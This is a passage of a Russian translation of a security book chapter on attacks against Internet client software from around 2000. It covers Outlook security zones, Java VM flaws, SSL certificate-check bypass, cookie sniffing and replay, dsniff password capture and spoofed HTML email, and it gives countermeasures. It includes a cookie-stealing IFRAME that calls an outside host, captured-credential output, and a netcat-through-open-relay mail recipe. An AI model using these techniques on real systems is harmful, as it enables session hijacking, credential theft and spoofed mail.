Для безопасного чтения электронных сообщений приложения Outlook и Outlook Express можно настроить так, чтобы в них тоже учитывались зоны безопасности. Параметры Outlook и Outlook Express позволяют выбрать зону, уровень безопасности которой будет использоваться при обработке содержимого, отображаемого почтовой программой. Имеется две возможности: Internet и Restricted Sites. Конечно же, рекомендуется выбрать зону ограниченных узлов (новый модуль Outlook 2000 Security Update выполняет эту установку самостоятельно). Убедитесь в том, что в параметрах зоны Restricted Sites полностью отключены все категории активного содержимого! Для этого установите уровень безопасности High, а затем задайте режим Custom Level и отключите все режимы, которые остались включенными (если их отключить нельзя, установите переключатель в положение, соответствующее наивысшему уровню безопасности). Процесс настройки зоны Restricted Sites в Outlook показан на рис. 16.2Д
Как и в Internet Explorer, в Outlook можно смягчить самые сильные ограничения. Однако в электронных сообщениях активное содержимое встречается реже, чем на Web-страницах. Поэтому предупреждающие сообщения о них доставляют меньше беспокойства. Однако в этом случае опасность, возникающая в процессе интерпретации сообщения, намного превышает преимущества его эстетического восприятия. Читателям, которые не доверяют этому утверждению, рекомендуется дочитать главу до конца. Замечательной особенностью зон безопасности является то, что с их помощью можно заставить Outlook вести себя более консервативно, чем Web-броузер. Гибкость программного обеспечения и умение правильно пользоваться его параметрами приведет к повышению безопасности.
Рис. 16.2. С помощью команды Tools >Options> Security пользователи Outlook найдут схожие (но все же различные) группы параметров, позволяющие защититься от атак, которые реализуются с помощью сообщений электронной почты
Изъяны в системе защиты Java
В 1990 году компания Sun Microsystems решила создать парадигму программирования, которая помогла бы решить многие проблемы разработки программ, стоящие перед их создателями еще со времен зарождения вычислительной техники. В результате одним выстрелом удалось убить двух зайцев: создать новый язык Java и попутно решить многие традиционные проблемы обеспечения безопасности. Большинство людей полагают, что язык Java безопасен на все 100%, поскольку с самого начала был задуман как нечто исключительное. Это мнение в значительной мере подкрепляется маркетинговой политикой компании Sun. Конечно же, обеспечить абсолютную безопасность невозможно. Однако пути ее повышения, применяемые в Java, несомненно, представляют определенный интерес. (Ниже будет рассмотрена архитектура Java 2, или JDK 1.2, которая в момент написания книги являлась текущей.)
Java — тщательно продуманный язык, позволяющий программистам избежать многих ошибок, которые могут привести к таким проблемам безопасности, как переполнение буфера. На этапе компиляции и выполнения виртуальной машиной Java (JVM — Java Virtual Machine) и встроенным механизмом проверки байт-кода осуществляется строгий контроль типов, что помогает защитить используемые программой области памяти. Кроме того, в языке Java не поддерживается доступ к памяти и манипуляция ею с помощью указателей, позволяющих программисту управлять использованием и загрузкой кода.
Кроме того, в JVM есть встроенный диспетчер безопасности (Security Manager), выполняющий контроль доступа к системным ресурсам. Его работа основана на политике безопасности, задаваемой пользователем. Наряду с проверкой типов эти концепции создают ограничительный барьер, не позволяющий коду Java выполнять привилегированные действия без явного согласия пользователя. В дополнение ко всему вышесказанному язык Java позволяет использовать сертификаты, определяющие степень "надежности" загруженного извне кода или доверия к нему. Основываясь на своем доверии к данному сертификату, пользователь принимает решение, запускать данный код или нет (что во многом напоминает работу Authenticode).
Наконец, спецификация Java открыта для широкой общественности, с которой без проблем можно познакомиться по адресу http://java.sun.com. Очевидно, такая открытость для критики и анализа приводит к естественному отбору и избавлению от различных недостатков.
Теоретически эти механизмы преодолеть крайне сложно (фактически, для многих из них имеется формальное доказательство их безопасности). Однако на практике механизмы безопасности Java были взломаны много раз. Это произошло по той же хорошо известной причине, когда в процессе реализации нарушаются принципы, заложенные при проектировании. Хороший обзор, посвященный истории развития механизмов обеспечения безопасности в Java, можно найти на Web-странице Secure Internet Programming Принстонского университета. В последующих разделах описываются основные проблемы последних реализаций Java, предоставляющие наибольший интерес для пользователей клиентских приложений.
Ошибки JVM броузера Netscape Communicator
В апреле 1999 года сотрудник Марбургского университета (Германия) Карстен Зор (Karsten Sohr) обнаружил изъян важного компонента безопасности JVM броузера Netscape Communicator. При определенных обстоятельствах виртуальная машина Java не проверяет загружаемый в нее код. Использование этого изъяна позволяет взломщику запустить код, разрушающий механизмы проверки типов Java, и реализовать взлом со смешением типов (type confusion attack). Это классический пример отступления реализации от первоначального замысла.
Отключение Java в броузере Netscape
Обновите текущую версию Netscape, или отключите Java, выполнив следующие действия (рис. 16.3).
1. В программе Communicator выберите команду Edit^Preferences.
2. В появившемся диалоговом окне Preferences выберите категорию Advanced.
3. В этом же диалоговом окне сбросьте флажок Enable Java.
4. Щелкните на кнопке ОК.
Авторы считают, что возможность использования сценариев JavaScript можно оста-вито включенной. К тому же в настоящее время сценарии JavaScript настолько интенсивно используются Web-узлами, что от них практически невозможно отказаться. Однако мы настоятельно рекомендуем отключить возможность применения JavaScript в почтовом клиенте и приложении чтения новостей программы Netscape, как это показано на рис. 16.3
Рис. 16.3. Отключите Java в Netscape Communicator, чтобы защититься против опасных аплетов Java. Сценарии JavaScript представляют собой меньшую опасность, однако этот резким должен быть отключен для служб Mail и News
Изъян в механизме обеспечения безопасности Microsoft Java
В броузере Internet Explorer вскоре была обнаружена аналогичная ошибка. Из-за недостатков реализации механизма обеспечения безопасности в JVM компании Microsoft появилась возможность полностью обойти механизмы защиты с помощью хитро запрограммированного аплета, размещенного на удаленном Web-сервере, или встроенного в сообщение электронной почты в формате HTML.
Устранение ошибок в Internet Explorer
Чтобы узнать, уязвима ли используемая вами версия программы, введите в командной строке команду jview. Найдите номер сборки (последние четыре цифры номера версии) и определите, к какой из следующих категорий он относится.
Версия |
Состояние |
1 520 или ниже |
Ошибка отсутствует |
2000-2438 |
Есть ошибка |
3000-3167 |
Есть ошибка |
Модуль обновления, который называется Virtual Machine Sandbox, можно найти по адресу http://www.microsoft.com/windows/ie/security/default.asp в списке других модулей обновления броузера Internet Explorer. В качестве крайней меры можно попробовать даже полностью отключить Java, хотя в этом случае Web-страницы с аплетами Java (которые работают со стороны клиента) потеряют всю свою привлекательность. Чтобы отключить Java в Internet Explorer, нужно выполнить действия, описанные в одном из предыдущих разделов, посвященном зонам безопасности. Кроме того, помимо установки уровня безопасности High для зоны Internet, нужно также вручную отключить все параметры, которые ссылаются на Java.
Brown Orifice и новые ошибки в Java
Летом 2000 года Дан Брумлев (Dan Brumleve) сообщил о двух выявленных изъянах. относящихся к реализации Java в Netscape Communicator. В частности, он установил, что в некоторых файлах библиотек классов Java при выполнении определенных операций не выполняется надлежащая проверка безопасности или результаты этой проверки игнорируются. В число классов, о которых идет речь, входит класс java.net. ServerSocket, используемый для создания прослушиваемых сетевых сокетов для входящих сетевых соединений, а также классы netscape, net. URLConnection и netscape.net.URLlnputSteam, содержащие абстрактные стандартные методы чтения локальных файлов. Во всех этих трех классах содержатся методы, в которых некорректно вызывается метод SecurityManager .check, определяющий, действительно ли данный аплет обладает правами доступа, необходимыми для выполнения некоторых действий. Если проверка завершилась неудачей, то это исключение игнорируется.
Оба этих изъяна были заложены в реализацию аплета Java, в котором перечисленные методы служат для создания портов прослушивания и получения права на чтение файловой системы. Дан написал код на языке Java и поместил его на своем Web-узле в качестве примера, иллюстрирующего справедливость концепции и возможность использования обнаруженных изъянов для взлома броузеров Internet. Он создал простую форму, позволяющую пользователю выбирать каталог для совместного применения и порт, который необходимо прослушивать. Эта информация передавалась в сценарий CGI на языке Perl, который обращался к разработанным Даном классам Java, устанавливая возможность совместного обращения к указанным каталогам и создавая со стороны клиента порты прослушивания, связанные с этими каталогами.
Демонстрируя прекрасное чувство юмора, Дан позаботился о поддержке возможностей, подобных возможностям программного продукта Napster, позволяя пользователям совместно работать с файлами через одноранговую сеть, которая создается миллионами пользователей, ведущих обмен данными с помощью протокола HTTP. Однако недооценивать серьезность проблемы не следует, хотя бы потому, что она позволяет устанавливать доступ к данным и выполнять их чтение. Обнаруженная Даном ошибка достаточно опасна. Она позволяет пользователям выбрать удаленный каталог, к которому они хотят иметь доступ. Можно разработать и более опасные аплеты, которые могут работать более скрытно и выявлять каждую систему с броузером Netscape, где можно поживиться важной информацией.
Контрмеры против Brown Orifice
Как обычно, единственный надежный способ защиты от опасных аплетов заключается в запрете использования Java в Web-броузере. Сделать это можно в броузере Netscape, как описано выше в разделе "Отключение Java В Броузере Netscape" и показано на рис. 16.3. Мы рекомендуем использовать эти параметры пользователям Netscape.
Компания Netscape не позаботилась о разработке модулей обновления, устраняющих ошибку. Данный изъян имеется в версиях с 4.0 по 4.74 броузера Communicator, которые можно использовать в операционных системах Windows, Macintosh и UNIX. В Netscape 6 этой ошибки нет.
Мобильный код со злым умыслом
Появление мобильного кода стало важным событием в процессе развития Internet от статического набора документов до случайным образом генерируемой среды, которой она стала на сегодняшний день. Развитие современных технологий, основанных на динамических данных, может стать основной моделью обработки информации в будущем. Однако сейчас акцент делается не на повышении надежности клиентских вычислительных моделей, а на расширении использования динамических документов HTML (DHTML), таблиц стилей и повышении производительности сценариев серверных приложений. (Правда, на это можно возразить, что сама обработка данных происходит все же на клиентском компьютере, однако подобный спор требует углубления в архитектуру самого Web-броузера.) В любом случае мобильный код, передающийся по сети на узел назначения, на сегодняшний день остается важнейшей частью фундамента Internet. Механизмы поддержки двух доминирующих парадигм мобильного кода, язык Java компании Sun и элементы управления ActiveX компании Microsoft, встроены во все броузеры. Поэтому их изучение является крайне важным для обеспечения безопасности любого клиента Internet.
ActiveX и Java часто сравниваются между собой, однако авторам не хотелось бы вдаваться в подобные дебаты на страницах этой книги. Лучше просто обсудить реальные изъяны, обнаруженные в каждом из этих подходов. Тем, кто интересуется подробным техническим описанием преимуществ и недостатков обоих моделей разработки мобильного кода с точки зрения их безопасности, можно порекомендовать статью Девида Хопвуда (David Hopwood) A Comparison Between Java and ActiveX Security.
Обман SSL
SSL — это протокол, используемый в настоящее время в большинстве транзакций, связанных с электронной коммерцией в Internet. В протоколе SSL реализован алгоритм шифрования по открытому ключу, который может отпугивать неискушенных пользователей, однако является важным понятием для того, кто занимается финансовыми операциями в современной экономике.
SSL является также спецификацией по обеспечению безопасности, и в этом качестве этот протокол используется разработчиками программных продуктов. Как уже упоминалось в предыдущих разделах, практическая реализация любой, даже самой надежной концепции, может оказаться неудачной и свести к нулю уровень безопасности, обеспечиваемый любой спецификацией. Именно такая реализация и будет рассмотрена в следующем разделе.
Но перед этим хотелось бы дать один небольшой совет: следует применять наиболее надежные алгоритмы шифрования SSL, доступные для Web-броузеров, т.е. со 128-разрядным ключом. Благодаря послаблению экспортных законов США теперь 128-разрядные версии программ Netscape и Internet Explorer доступны каждому. Исключение составляют лишь страны, внесенные в список эмбарго. В IE выберите команду About и посмотрите, как получить 128-разрядную версию.
Обход проверки сертификата SSL в Web-броузере
В этом разделе вы узнаете о том, как можно ввести в заблуждение службу проверки подлинности сертификата SSL Web-узла, который был бы признан недействительным при обычной перекрестной проверке подлинности сертификата на основе сопоставления имени DNS и IP-адреса сервера на другом конце соединения. Такая проверка должна проводиться в соответствии со спецификацией SSL. Однако группа из Словении ACROS Security Team обнаружила изъян в Netscape Communicator до версии 4.73. После
того как сеанс связи SSL уже установлен, Communicator этих версий сравнивает в сертификате SSL последующих сеансов только IP-адреса, но не имена DNS. Броузер можно обмануть, открыв сначала сеанс связи SSL с каким-нибудь специально настроенным сервером, маскирующимся под легальный. При этом все последующие соединения SSL с легальными Web-серверами будут замыкаться на "жульническом" сервере, а пользователь не получит об этом ни одного стандартного предупреждения.
Конечно же, авторы осознают, что подобное изложение похоже, скорее, на головоломку. Более последовательное объяснение можно найти в первоначальном сообщении команды ACROS, опубликованном в мае 2000 года в информационном бюллетене CERT (Computer Emergency Response Team). Несмотря на то что IP-адреса, используемые в приведенном примере, уже устарели, стоит попытаться понять суть этого изъяна. Для большинства пользователей само собой разумеется, что как только маленькая пиктограмма в виде замочка появилась в окне броузера, можно ни о чем не беспокоиться. Как продемонстрировала группа ACROS, пока разработкой программного обеспечения занимаются простые смертные, расслабляться нельзя ни в коем случае.
Подобный изъян был обнаружен группой ACROS и в броузере Internet Explorer. Но проблема Internet Explorer состоит в том, что он проверяет только факт выдачи сертификата организацией, обладающей соответствующими полномочиями, не утруждая себя проверкой имени сервера и сроком годности сертификата. Это происходит лишь тогда, когда сеанс соединения SSL с сервером SSL устанавливается через фрейм или изображение (это коварный способ установления соединения SSL, которых пользователь может и не заметить). В Internet Explorer не проводится и повторная проверка подлинности сертификата, если во время того же сеанса работы программы устанавливается повторный сеанс связи SSL с одним и тем же сервером.
Контрмеры против обхода проверки сертификатов SSL
Как упоминалось выше, обновление программы Communicator до версии 4.73 или выше позволит устранить описанную проблему. Тем, кто занимается разработкой различных дополнений к предыдущим версиям, компания Netscape предоставляет диспетчер PSM (Personal Security Manager). Эта программа выполняет шифрование по открытому ключу (подобно тому, которое используется в протоколе SSL) вместо Netscape Communicator 4.7 или других приложений.
Конечно, подлинность сертификата безопасности узла можно проверить только одним способом. Для этого нужно самостоятельно просмотреть его в окне броузера. И в Netscape, и в Internet Explorer это можно осуществить,
Рис. 16.4. Проверка сертификата SSL в броузере Internet Explorer. Убедитесь в том, что эта информация совпадает с той, которую вы ожидали увидеть
щелкнув на маленькой пиктограмме с изображением замочка, расположенной в нижней части окна броузера. Эту же информацию можно получить, щелкнув на кнопке Security панели инструментов Netscape. В Internet Explorer для просмотра анапогичной информации следует сделать щелчок на пиктограмме с набольшим замочком или выбрать команду File=>Properties во время посещения страницы, защищенной протоколом SSL. На рис. 16.4 показан сертификат одного из популярных Web-узлов.
В IE существует два параметра, которые позволяют автоматически проверять, не отменен ли сертификат SSL. К ним относятся Check For Server Certificate Revocation и Check For Publisher Certificate Revocation. Для того чтобы получить доступ к этим правилам обеспечения безопасности, выберите команду Tools>lnternet Options, перейдите во вкладку Advanced и просмотрите группу параметров Security.
Остерегайтесь монстра Cookie
Задумывались ли вы когда-нибудь о том, как на некоторых Web-узлах происходит персонификация посетителей? Это может выражаться, например, в запоминании содержимого "тележки" (если этот узел предназначен для продажи товаров) или в способе заполнения полей какой-нибудь формы. В протоколе HTTP, лежащем в основе функционирования World Wide Web, нет средств, позволяющих отслеживать события от одного посещения узла к другому, поэтому для возможности хранения таких "состояний" было разработано специальное дополнение. Этот механизм, описанный в документе RFC 2109, обеспечивает вставку в передаваемые запросы и ответы HTTP специальных фрагментов данных cookie, позволяющих Web-узлам отслеживать своих посетителей. Данные cookie могут запоминаться на время сеанса связи (per session), оставаясь в оперативной памяти в течение одного сеанса и удаляясь при закрытии броузера, или даже после истечения заданного промежутка времени. В других случаях они бывают постоянными (persistent), оставаясь на жестком диске пользователя в виде текстового файла. Обычно они хранятся в каталоге Cookies (%windir% \Cookies — в Win9x и %userprofile%\Cookies — в NT/2000). Нетрудно догадаться, что после захвата файлов cookie в Internet взломщик может выдавать себя за пользователя данного компьютера, или собирать содержащуюся в этих файлах важную информацию. Прочитав следующие разделы, вы поймете, насколько просто это сделать.
Перехват файлов cookie
Самый прямой способ заключается в перехвате файлов cookie при их передаче по сети. Затем перехваченные данные можно использовать при входе на соответствующий сервер. Такую задачу можно решить с помощью любой утилиты перехвата пакетов, однако одной из лучших является программа Лаврентия Никулы (Laurentiu Nicula) SpyNet/PeepNet . В состав SpyNet входят две утилиты, которые работают в комплексе. Программа CaptureNet выполняет захват самого пакета и сохраняет его на диске, а утилита PeepNet открывает этот файл и преобразует его в читабельный формат. Следующий пример является фрагментом восстановленного программой PeepNet сеанса связи, во время которого файл cookie служит для аутентификации и управления доступом к просматриваемым страницам (для сохранения анонимности имена изменены).
GET http://www.victim.net/images/logo.gif HTTP/1.0
Accept: */*
Referrer: http://www.victim.net/
Host: www.victim.net
Cookie: jrunsessionid=96114024278141622;
cuid=TORPM!ZXTFRLRlpWTVFISEblahblah
В приведенном примере виден фрагмент cookie, помещенный в поступающий на сервер запрос HTTP. Наиболее важным является поле cuid=, в котором задается уникальный идентификатор, используемый при аутентификации пользователя на узле www.victim.net. Допустим, что после этого взломщик посетил узел victim.net, получил собственный идентификатор и файл cookie (предполагается, что узел помещает данные cookie не в виртуальную память, а записывает их на жесткий диск). Тогда взломщик может открыть свой собственный файл cookie и заменить в нем идентификатор поля cuid=, взяв его из перехваченного пакета. В этом случае при входе на сервер victim.net он будет восприниматься как пользователь, чьи данные cookie были перехвачены.
Способность программы PeepNet воспроизводить весь сеанс связи или его фрагмент значительно облегчает реализацию атак этого типа. С помощью кнопки Go get it! можно повторно извлечь страницы, которые просматривались пользователем, используя его данные cookie, перехваченные ранее программой CaptureNet. В диалоговом окне утилиты PeepNet можно увидеть информацию о чьих-то выполненных распоряжениях. При этом для аутентификации используются данные cookie, перехваченные программой CaptureNet. Обратите внимание на фрейм, расположенный в нижнем правом углу диалогового окна с данными сеанса связи, и на строку, которая следует за строкой Cookie:. Это данные cookie, используемые при аутентификации.
Это довольно ловкий трюк. Кроме того, утилита CaptureNet может предоставить полную запись трафика в расшифрованном виде, что практически равносильно возможностям утилит профессионального класса, таких как Sniffer Pro компании Network Associates, Inc. Однако утилита SpyNet еще лучше — ее можно получить бесплатно!
Контрмеры
Следует остерегаться узлов, на которых файлы cookie применяются для аутентификации и хранения важных идентификационных данных. Одним из инструментов, помогающих в обеспечении защиты, является программа Cookie Pal компании Kookaburra Software, которую можно найти на Web-узле http://www.kburra.com/cpal.html. Этот программный продукт можно настроить так, чтобы для пользователя генерировались предупреждающие сообщения о попытках Web-узла воспользоваться механизмом cookie. При этом можно "заглянуть за кулисы" и решить, следует ли разрешать выполнение этих действий. В Internet Explorer имеется встроенный механизм поддержки файлов cookie. Чтобы активизировать его, запустите аплет Internet Options панели управления, перейдите во вкладку Security, выберите элемент Internet Zone, установите режим Custom Level и для постоянных и временных данных cookie установите переключатель в положение Prompt. Настройка использования файлов cookie в броузере Netscape выполняется с помощью команды Edit>Preferences>Advanced и установки режима Warn me before accepting a cookie или Disable cookies (рис. 16.3). Принимая файл cookie, нужно проверить, записался ли он на диск, и узнать, собирает ли Web-узел информацию о пользователях.
Посещая узел, на котором файлы cookie служат для аутентификации, необходимо убедиться, что первоначально сообщаемые имя и пароль шифруются хотя бы с помощью протокола SSL. Тогда эта информация появится в окне программы PeepNet по меньшей мере не в виде простого текста.
Авторы предпочли бы полностью отказаться от файлов cookie, если бы многие часто посещаемые Web-узлы не требовали этого режима. Например, для популярной во всем мире службы Hotmail компании Microsoft наличие файлов cookie обязательно для регистрации. Поскольку эта служба в процессе аутентификации задействует несколько различных серверов, то добавить их в зону надежных узлов не так-то просто (этот процесс описан в разделе "Разумное Использование Зон Безопасности: Общее Решение Проблемы Элементов Activex"). В этом случае поможет обозначение * .hotmail.com. Файлы cookie — далеко не идеальное решение проблемы неполноты протокола HTML, однако альтернативные подходы, по-видимому, еще хуже (например, добавление к адресу URL идентификатора, который может храниться на proxy-серверах). Пока не появится идея получше, единственным выходом остается контроль над файлами cookie с помощью перечисленных выше методов.
Захват файлов cookie через URL
Представим себе нечто ужасное: пользователи Internet Explorer щелкают на специально сконструированных гиперссылках и становятся потенциальными жертвами, рискуя, что их файлы cookie будут перехвачены. Беннет Хазельтон (Bennett Haselton) и Джеми Маккарти (Jamie McCarthy) из тинейджерской организации Peacefire, ратующей за свободу общения через Internet, опубликовали сценарий , воплощающий эту идею в жизнь. Этот сценарий извлекает файлы cookie с клиентского компьютера, если его пользователь щелкает на ссылке, содержащейся на этой странице. В результате содержимое файла cookie становится доступным для операторов Web-узла.
Эту возможность можно использовать в неблаговидных целях, внедряя дескрипторы IFRAME в HTML-код Web-страницы, электронного сообщения в формате HTML или сообщения из группы новостей. В следующем примере, предложенном консультантом по вопросам безопасности Ричардом М. Смитом, демонстрируется возможность использования дескрипторов IFRAME совместно с утилитой, разработанной организацией Peacefire.
<iframe src="http://www.peacefire.org%2fsecurity%2fiecookies%2f
showcookie . html%3f. yahoo . com/"x/if rame>
Можно составить коварное электронное сообщение, которое "захватывало" бы файлы cookie с жесткого диска пользователя и передавало их операторам узла peacefire.org. Для этого в него много раз нужно поместить ссылку на этот узел так, как показано в примерю. Несмотря на то что ребята из Peacefire выглядят довольно приятными людьми, вряд ли кому-нибудь понравится, если к ним в руки попадут конфиденциальные данные.
Контрмеры
Установите модуль обновления, который можно найти по адресу http://www. microsoft.com/technet/security/bulletin/ms00-033.asp. Можно воспользоваться также программой Cookie Pal или встроенными возможностями Internet Explorer, как описано выше.
Пароли на блюдечке: dsniff
Конечно, с помощью утилиты tcpdump можно без проблем определить тип используемой сети, однако что вы скажете о получении главных жемчужин компьютерного мира — паролей? Для этих целей можно приобрести чудовищный по предоставляемым возможностям программный пакет SnifferPro или воспользоваться более дешевыми средствами, например, CaptureNet, разработанным Лаврентием Никулой (Laurentiu Nicula). Однако лучше всего прибегнуть к программе Дага Сонга (Dug Song). Он разработал одно из наиболее сложных средств перехвата паролей — программу dsniff.
Зачастую можно встретить приложения, в которых в качестве паролей используется незашифрованный текст. Кроме того, подобная конфиденциальная информация хранится далеко не в лучшем месте. Примерами таких приложений могут послужить следующие: FTP, telnet, POP, SNMP, HTTP, NNTP, ICQ, IRC, Socks, NFS (сетевая файловая система— Network File System), mountd, rlogin, IMAP, AIM, XI1, CVS, Napster, Citrix ICA, pcAnywhere, NAI Sniffer, Microsoft SMB и Oracle SQL. В большинстве перечисленных выше приложений либо используются незашифрованные пользовательские имена и пароли, либо применяются упрошенные алгоритмы шифрования, сокрытия и декодирования, которые нельзя рассматривать как серьезную преграду для взломщиков. Именно в этом случае можно ощутить всю мощь программы dsniff.
С помощью программы dsniff можно прослушать трафик любого сетевого сегмента независимо от того, относится ли он к сети с множественным доступом или же к сети с коммутацией пакетов. Эту программу можно получить по адресу http://naughty.monkey.org/~dugsong/dsniff/, а затем выполнить ее компиляцию. С Web-узла компании еЕуе (http://www.eeye.com) можно также загрузить и попробовать в действии версию этой программы для платформы Win32. В этом случае потребуется установить также и библиотеку WinPcap, которая, однако, может вызвать некоторые проблемы в системах с конфликтом драйверов. Эту библиотеку можно найти по адресу http://netgroup-serv.polito.it/winpcap/.
При запуске программы dsnif f в системе Linux будут получены все незашифрованные или простые пароли сетевого сегмента.
[root@mybox dsniff-1.8] dsniff
---------------
05/21/00 10:49:10 bob -> unix-server (ftp)
USER bob
PASS dontlook
---------------
05/21/00 10:53:22 karen -> lax-cisco (telnet)
karen
supersecret
---------------
05/21/00 11:01:11 karen -> lax-cisco (snmp)
[version 1]
private
Кроме средства перехвата паролей dsnif f, в состав пакета входят разнообразные средства поиска других слабых мест, такие как mailsnarf и webspy. mailsnarf представляет собой небольшое приложение, позволяющее собирать все почтовые сообщения и отображать их содержимое на экране, как если они были написаны вами лично, webspy — это мощная утилита, которая окажется полезной, если требуется определить, какие страницы в Web посетили пользователи. При этом в Web-броузере автоматически будут отображаться Web-страницы, которые были просмотрены определенным пользователем.
[root]# mailsnarf
From stu@hackingexposed.com Mon May 29 23:19:10 2000
Message-ID: 0017Olbfca02$790cca90$6433a8cO@foobar.com
Reply-To: "Stuart McClure" stu@hackingexposed.com
From: "Stuart McClure" stu@hackingexposed.com
To: "George Kurtz" george@hackingexposed.com
References: 0022Olbfc729$7d7ffe70$ab8dOb!8@JOC
Subject: Re: conference call
Date: Mon, 29 May 2000 23:44:15 -0700
MIME-Version: 1.0
Content-Type: multipart/alternative;
boundary="———=_NextPart_000_0014_01BFC9C7.CC970F30"
X-Priority: 3 X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
This is a multi-part message in MIME format.
---=_NextPart_000_0014_01BFC9C7.CC970F30
Content-Type: text/plain;
charset="iso-8859-l"
Content-Transfer-Encoding: quoted-printable
Have you heard the latest one about the...
[content censored here]
- Stu
Чтение почтовых сообщений ваших соседей может показаться забавным занятием, однако не забывайте о том, что подобные действия вряд ли можно назвать законными.
Контрмеры: защита от dsniff
Традиционным способом защиты от перехвата незашифрованных паролей является переход от сетевой топологии Ethernet с множественным доступом к сети с коммутацией пакетов. Однако как вы узнали из предыдущих разделов, такая мера практически не способна предотвратить атаки с применением программы dsniff.
В этом случае ко всему сетевому трафику лучше всего применить один из алгоритмов шифрования. Воспользуйтесь преимуществами SSH для туннелирования всего трафика или возможностями средств, в которых реализованы алгоритмы шифрования по открытому ключу (PKI — Public Key Infrastructure), например продуктами компании Entrust Technologies. Это позволит выполнить сквозное шифрование всего потока сетевых данных.
Постоянно обновляйте антивирусные базы данных
Конечно, такое средство защиты, как антивирусные программы, существует и повсеместно используется уже давно. Тот. кто не применяет их для обеспечения безопасности своей системы, подвергает себя большому риску. Подобное программное обеспечение можно приобрести у многих разработчиков. Известные антивирусные пакеты (такие как Norton Antivirus компании Symantec, McAfee, Data Fellows, Trend Micro. Inoculan/InoculateIT компании Computer Associates и другие) соревнуются между собой, стараясь обеспечить наиболее полную защиту от злонамеренного кода.
Один из основных недостатков антивирусного программного обеспечения заключается в том, что эти программы не могут обеспечить упреждающую защиту против новых вирусов, появившихся после их выхода и которых они еще не могут распознать. Разработчики антивирусных программ полагаются на механизмы обновления, периодически предлагая своим клиентам обновлять антивирусные базы данных, в которые заносятся сведения о новых обнаруженных вирусах. Таким образом, между появлением новой разновидности вируса и разработкой обновленной базы данных образуется интервал времени, в течение которого пользователь остается уязвимым.
До тех пор пока пользователь помнит об этом временном зазоре и его антивирусное программное обеспечение настроено для автоматического и регулярного (хотя бы раз в неделю) обновления, средства антивирусной защиты обеспечивают надежную линию обороны против большинства из описанных ранее атак. На забывайте о том, что для получения наиболее полной отдачи нужно пользоваться средствами автоматической защиты, особенно для автоматического сканирования почтовых сообщений и гибких дисков. Кроме того, постоянно обновляйте антивирусные базы данных! Большинство разработчиков предлагают их бесплатное автоматическое обновление в течение года, однако затем за небольшую плату потребуется продлить подписку. Например, в компании Symantec стоимость годовой подписки на службу LiveUpdate составляет всего $4. За такую сумму с Web-узла компании можно вручную загружать обновления.
Следует помнить также о возможности розыгрыша, который может причинить не меньше вреда, чем сам вирус.
После написания этой главы нам хотелось бы облегченно вздохнуть и снова на несколько лет окунуться в дальнейшие исследования методов хакинга пользователей Internet. На самом деле за рамками книги осталось еше много материала на эту тему. Описать все разнообразие проверенных и непроверенных атак, применяемых против обычного клиентского программного обеспечения, оказалось непростым делом. Наряду с десятками остроумных подходов, разработанных такими яркими личностями, как Георгий Гунински, в окончательный вариант книги не попали многие вопросы, касающиеся взлома Web-серверов, предоставляющих услуги электронной почты (Hotmail), хакинга пользователей службы AOL, взлома линий связи с модулированной передачей данных в Internet и получения личных данных клиентов. Конечно, перед сообществом Internet еще долгие годы будут стоять все эти проблемы, а в будущем появятся новые, которые пока что даже трудно представить. Ниже приведены некоторые рекомендации, следуя которым, пользователи смогут обеспечить наиболее высокий уровень безопасности, который возможен на сегодняшний день.
Постоянно обновляйте клиентское программное обеспечение! Что касается продуктов компании Microsoft, часто подвергающихся таким атакам, то можно воспользоваться несколькими возможностями (что позволит использовать время более рационально).
Приобретите и постоянно используйте антивирусное программное обеспечение. Не реже одного раза в неделю обновляйте антивирусные базы данных. Установите максимально возможное количество служб автоматического сканирования (одной из служб, которой следует воспользоваться, является служба сканирования электронной почты).
Пополняйте запас знаний о таких потенциально опасных технологиях мобильного кода, как элементы управления ActiveX и Java. Настраивая клиентское программное обеспечение Internet, помните о необходимости осторожного обращения с этими мощными инструментами (см. раздел этой главы, посвященный зонам безопасности Windows,).
Сохраняйте здоровый скептицизм по отношению к файлам, полученным из Internet, будь то вложения электронной почты или файлы, предложенные для загрузки по каналам DCC или IRC. Если надежность источника вызывает хоть малейшие подозрения, такие файлы следует тут же отправлять в мусорную корзину. Не забывайте также о том, что коварные программы-"черви", например I LOVE YOU, могут маскироваться и попасть к пользователю от имени его хорошего знакомого, почтовая клиентская программа которого была взломана.
Постоянно обновляйте набор инструментов и будьте в курсе появляющихся новых технологий хакинга в Internet. Заглядывайте на перечисленные ниже Web-узлы экспертов в области безопасности, которые первыми выявляют изъяны программного обеспечения.
Сто и один способ взлома электронной почты
Перед тем как углубиться в обсуждение конкретных видов атак, важно понять, как можно отправить электронное сообщение со злым умыслом. На самом деле сделать это сложнее, чем может показаться на первый взгляд. Большинство современных графических клиентских приложений электронной почты не позволяет выполнять операции непосредственно с блоком заголовка сообщений SMTP. Ирония состоит в том. что, несмотря на недовольство, которое вызывают изъяны программных продуктов компании Microsoft, которые проявляются во время приема сообщений, отправить созданный взломщиком код HTML с помощью таких программ, как Outlook или Outlook Express, крайне трудно. Конечно же, пользователи UNIX для подобных манипуляций могут воспользоваться традиционными почтовыми клиентами, которые можно использовать из командной строки.
В системе Windows авторам нравится отправлять сообщения вручную из командной строки прямо на сервер SMTP. Лучше всего для этого воспользоваться конвейером, в котором текстовый файл с соответствующими командами SMTP и данными передается через утилиту netcat. Вот как это делается.
Во-первых, необходимо создать файл с нужными командами SMTP и данными сообщения (назовем его malicia.txt). При этом, чтобы электронное письмо было правильно отформатировано, важно придерживаться правильного синтаксиса MIME (Multipurpose Internet Mail Extensions). Обычно такие сообщения отправляют в формате HTML, так что само тело сообщения представляет собой часть реализации коварного замысла. В следующем примере главной частью, в которой важно соблюдать синтаксис, являются три строки, начинающиеся со строки MlME-Version: 1,. 0.
helo
mail from: <mallory@malweary.com>
rcpt to: <hapless@victim.net>
data
subject: Read this!
Importance: high
MIME-Versicn: 1.0
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit
<HTML>
<h2>Hello' World!</h2>
</HTML>
quit
Затем в командной строке нужно ввести имя этого файла и передать его через конвейер утилите netcat, для которой следует указать подходящий почтовый сервер с прослушиваемым SMTP-портом 25. type malicious.txt | nc -w mail.openrelay.net 25
Наверное, понятно и без слов, что хакеры, скорее всего, выберут неприметный почтовый сервер, который допускает неограниченную передачу сообщений SMTP, и постараются скрыть свой собственный IP-адрес, чтобы его нельзя было выследить с помощью журналов почтовых серверов.
